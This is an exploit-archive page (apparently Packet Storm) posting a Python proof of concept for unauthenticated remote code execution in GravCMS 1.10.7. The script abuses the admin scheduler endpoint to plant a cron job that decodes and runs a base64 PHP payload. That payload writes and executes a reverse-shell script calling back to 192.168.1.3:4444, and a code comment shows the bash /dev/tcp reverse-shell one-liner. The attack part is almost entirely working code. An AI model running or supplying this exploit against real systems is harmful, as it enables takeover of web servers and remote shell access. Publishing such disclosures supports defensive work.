what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GravCMS 1.10.7 Arbitrary YAML Write / Update

GravCMS 1.10.7 Arbitrary YAML Write / Update
Posted Jun 10, 2021
Authored by Mehmet Ince, legend

GravCMS version 1.10.7 unauthenticated arbitrary YAML write/update exploit. This is a variant exploit of the original discovery made by Mehmet Ince in April of 2021.

tags | exploit, arbitrary
SHA-256 | 49140ae899e7ff1751c131e4e4771cefd61241671559ec6115024c9f61838e8c

GravCMS 1.10.7 Arbitrary YAML Write / Update

Change Mirror Download
# Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)
# Original Exploit Author: Mehmet Ince
# Vendor Homepage: https://getgrav.org
# Version: 1.10.7
# Tested on: Debian 10
# Author: legend

#/usr/bin/python3

import requests
import sys
import re
import base64
target= "http://192.168.1.2"
#Change base64 encoded value with with below command.
#echo -ne "bash -i >& /dev/tcp/192.168.1.3/4444 0>&1" | base64 -w0
payload=b"""/*<?php /**/
file_put_contents('/tmp/rev.sh',base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMy80NDQ0IDA+JjE='));chmod('/tmp/rev.sh',0755);system('bash /tmp/rev.sh');
"""
s = requests.Session()
r = s.get(target+"/admin")
adminNonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)
if adminNonce != "" :
url = target + "/admin/tools/scheduler"
data = "admin-nonce="+adminNonce
data +='&task=SaveDefault&data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=/usr/bin/php&data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')+'%22%29%29%3b&data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a%20%2a&data%5bcustom_jobs%5d%5bncefs%5d%5boutput%5d=&data%5bstatus%5d%5bncefs%5d=enabled&data%5bcustom_jobs%5d%5bncefs%5d%5boutput_mode%5d=append'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = s.post(target+"/admin/config/scheduler",data=data,headers=headers)

Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    20 Files
  • 29
    Nov 29th
    9 Files
  • 30
    Nov 30th
    21 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close